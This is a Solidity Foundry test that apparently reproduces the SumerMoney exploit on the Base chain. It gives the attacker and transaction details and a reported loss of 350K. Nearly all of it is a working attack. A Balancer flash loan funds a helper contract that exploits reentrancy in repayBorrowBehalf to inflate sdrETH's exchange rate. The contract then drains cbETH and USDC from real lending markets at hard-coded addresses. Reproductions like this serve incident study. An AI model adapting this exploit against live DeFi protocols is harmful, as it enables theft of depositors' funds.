/
SumerMoney_exp.sol
139 lines (114 loc) · 5.42 KB
/
SumerMoney_exp.sol
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// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.15;
import "forge-std/Test.sol";
import "./../interface.sol";
// @KeyInfo - Total Lost : 350K
// Attacker : /address/https://basescan.org/address/0xbb344544ad328b5492397e967fe81737855e7e77
// Attack Contract : /address/https://basescan.org/address/0x13d27a2d66ea33a4bc581d5fefb0b2a8defe9fe7
// Vulnerable Contract : /address/https://basescan.org/address/0x23811c17bac40500decd5fb92d4feb972ae1e607
// Attack Tx : /tx/https://basescan.org/tx/0x619c44af9fedb8f5feea2dcae1da94b6d7e5e0e7f4f4a99352b6c4f5e43a4661
// @Info
// Vulnerable Contract Code : /address/https://basescan.org/address/0x23811c17bac40500decd5fb92d4feb972ae1e607#code
// @Analysis
// Post-mortem :
// Twitter Guy : https://twitter.com/0xNickLFranklin/status/1778986926705672698
// Hacking God :
interface IClaimer {
function claim(uint256[] calldata tokenIds) external;
}
contract SumerMoney is Test {
uint256 blocknumToForkFrom = 13_076_768;
IBalancerVault Balancer = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);
IWETH WETH = IWETH(payable(address(0x4200000000000000000000000000000000000006)));
IERC20 USDC = IERC20(0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913);
IERC20 cbETH = IERC20(0x2Ae3F1Ec7F1F5012CFEab0185bfc7aa3cf0DEc22);
crETH sdrETH = crETH(payable(address(0x7b5969bB51fa3B002579D7ee41A454AC691716DC)));
ICErc20Delegate sdrUSDC = ICErc20Delegate(0x142017b52c99d3dFe55E49d79Df0bAF7F4478c0c);
ICErc20Delegate sdrcbETH = ICErc20Delegate(0x6345aF6dA3EBd9DF468e37B473128Fd3079C4a4b);
IClaimer claimer = IClaimer(0x549D0CdC753601fbE29f9DE186868429a8558E07);
Helper helper;
function setUp() public {
vm.label(address(Balancer), "Balancer");
vm.label(address(WETH), "WETH");
vm.label(address(USDC), "USDC");
vm.label(address(cbETH), "cbETH");
vm.label(address(sdrETH), "sdrETH");
vm.label(address(sdrUSDC), "sdrUSDC");
vm.label(address(sdrcbETH), "sdrcbETH");
vm.label(address(claimer), "claimer");
vm.createSelectFork("Base", blocknumToForkFrom);
}
function testExploit() public {
deal(address(this), 1);
address[] memory tokens = new address[](2);
tokens[0] = address(WETH);
tokens[1] = address(USDC);
uint256[] memory amounts = new uint256[](2);
amounts[0] = 150 ether;
amounts[1] = 645_000 * 1e6;
bytes memory userData = "";
Balancer.flashLoan(address(this), tokens, amounts, userData);
emit log_named_decimal_uint("Attacker USDC Balance After exploit", USDC.balanceOf(address(this)), 6);
emit log_named_decimal_uint("Attacker cbETH Balance After exploit", cbETH.balanceOf(address(this)), 18);
}
function receiveFlashLoan(
address[] memory tokens,
uint256[] memory amounts,
uint256[] memory feeAmounts,
bytes memory userData
) external {
WETH.withdraw(amounts[0]);
// sdrETH.exchangeRate
emit log_named_decimal_uint("Before re-enter, sdrETH exchangeRate", sdrETH.exchangeRateCurrent(), 18);
sdrETH.mint{value: amounts[0]}();
helper = new Helper{value: 1}();
USDC.transfer(address(helper), amounts[1]);
helper.borrow(amounts[1]);
WETH.deposit{value: amounts[0]}();
WETH.transfer(address(Balancer), amounts[0]);
USDC.transfer(address(Balancer), amounts[1]);
}
function attack() external {
// exchangeRate == getCashPrior() + totalBorrows - totalReserves / totalSupply
// In function repayBorrowBehalf(), getCashPrior() increase 150 ether but totalBorrows not decreased due to re-enter
emit log_named_decimal_uint("In re-enter, sdrETH exchangeRate", sdrETH.exchangeRateCurrent(), 18);
sdrcbETH.borrow(cbETH.balanceOf(address(sdrcbETH)));
sdrUSDC.borrow(USDC.balanceOf(address(sdrUSDC)) - 645_000 * 1e6);
sdrETH.redeemUnderlying(150 ether);
uint256[] memory tokenIds = new uint256[](2);
tokenIds[0] = 309;
tokenIds[1] = 310;
claimer.claim(tokenIds);
}
receive() external payable {}
}
contract Helper {
address owner;
IWETH WETH = IWETH(payable(address(0x4200000000000000000000000000000000000006)));
IERC20 USDC = IERC20(0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913);
IERC20 cbETH = IERC20(0x2Ae3F1Ec7F1F5012CFEab0185bfc7aa3cf0DEc22);
crETH sdrETH = crETH(payable(address(0x7b5969bB51fa3B002579D7ee41A454AC691716DC)));
ICErc20Delegate sdrUSDC = ICErc20Delegate(0x142017b52c99d3dFe55E49d79Df0bAF7F4478c0c);
ICErc20Delegate sdrcbETH = ICErc20Delegate(0x6345aF6dA3EBd9DF468e37B473128Fd3079C4a4b);
IClaimer claimer = IClaimer(0x549D0CdC753601fbE29f9DE186868429a8558E07);
constructor() payable {
owner = msg.sender;
}
function borrow(uint256 amount) external {
USDC.approve(address(sdrUSDC), amount);
sdrUSDC.mint(amount);
uint256 borrowAmount = address(sdrETH).balance;
sdrETH.borrow(borrowAmount);
sdrETH.repayBorrowBehalf{value: borrowAmount + 1}(address(this)); // reentrancy
sdrUSDC.redeem(sdrUSDC.balanceOf(address(this)));
uint256[] memory tokenIds = new uint256[](1);
tokenIds[0] = 311;
claimer.claim(tokenIds);
USDC.transfer(owner, USDC.balanceOf(address(this)));
}
receive() external payable {
if (msg.value == 1) {
owner.call(abi.encodeWithSignature("attack()"));
}
}
}